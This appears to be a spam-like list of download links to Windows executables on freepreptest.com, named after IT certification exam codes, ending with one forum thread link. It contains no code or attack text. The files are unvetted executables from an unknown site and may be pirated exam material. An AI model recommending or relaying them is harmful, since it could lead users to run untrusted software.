www.freepreptest.com/examworx/NS0-920ePad.exe
www.freepreptest.com/examworx/PB0-200.exe
www.freepreptest.com/examworx/PB0-200ePad.exe
www.freepreptest.com/examworx/PK0-002.exe
www.freepreptest.com/examworx/PK0-002ePad.exe
www.freepreptest.com/examworx/PW0-050.exe
www.freepreptest.com/examworx/PW0-050ePad.exe
www.freepreptest.com/examworx/PW0-100.exe
www.freepreptest.com/examworx/PW0-100ePad.exe
www.freepreptest.com/examworx/PW0-200.exe
www.freepreptest.com/examworx/PW0-200ePad.exe
www.freepreptest.com/examworx/PW0-205.exe
www.freepreptest.com/examworx/PW0-205ePad.exe
www.freepreptest.com/examworx/PW0-300.exe
www.freepreptest.com/examworx/PW0-300ePad.exe
www.freepreptest.com/examworx/QQ0-100.exe
www.freepreptest.com/examworx/QQ0-100ePad.exe
www.freepreptest.com/examworx/QQ0-200.exe
www.freepreptest.com/examworx/QQ0-200ePad.exe
www.freepreptest.com/examworx/QQ0-300.exe
www.freepreptest.com/examworx/QQ0-300ePad.exe
www.freepreptest.com/examworx/QQ0-400.exe
www.freepreptest.com/examworx/QQ0-400ePad.exe
www.freepreptest.com/examworx/RF0-001.exe
www.freepreptest.com/examworx/RF0-001ePad.exe
www.freepreptest.com/examworx/S10-100.exe
www.freepreptest.com/examworx/S10-100ePad.exe
www.freepreptest.com/examworx/S10-101.exe
www.freepreptest.com/examworx/S10-101ePad.exe
www.freepreptest.com/examworx/S10-200.exe
www.freepreptest.com/examworx/S10-200ePad.exe
www.freepreptest.com/examworx/S10-300.exe
www.freepreptest.com/examworx/S10-300ePad.exe
www.freepreptest.com/examworx/SF-040X.exe
www.freepreptest.com/examworx/SF-040XePad.exe
www.freepreptest.com/examworx/SK0-002.exe
www.freepreptest.com/examworx/SK0-002ePad.exe
www.freepreptest.com/examworx/SY0-101.exe
www.freepreptest.com/examworx/SY0-101ePad.exe

http://www.vsic.com/forum/showthread.php?t=1657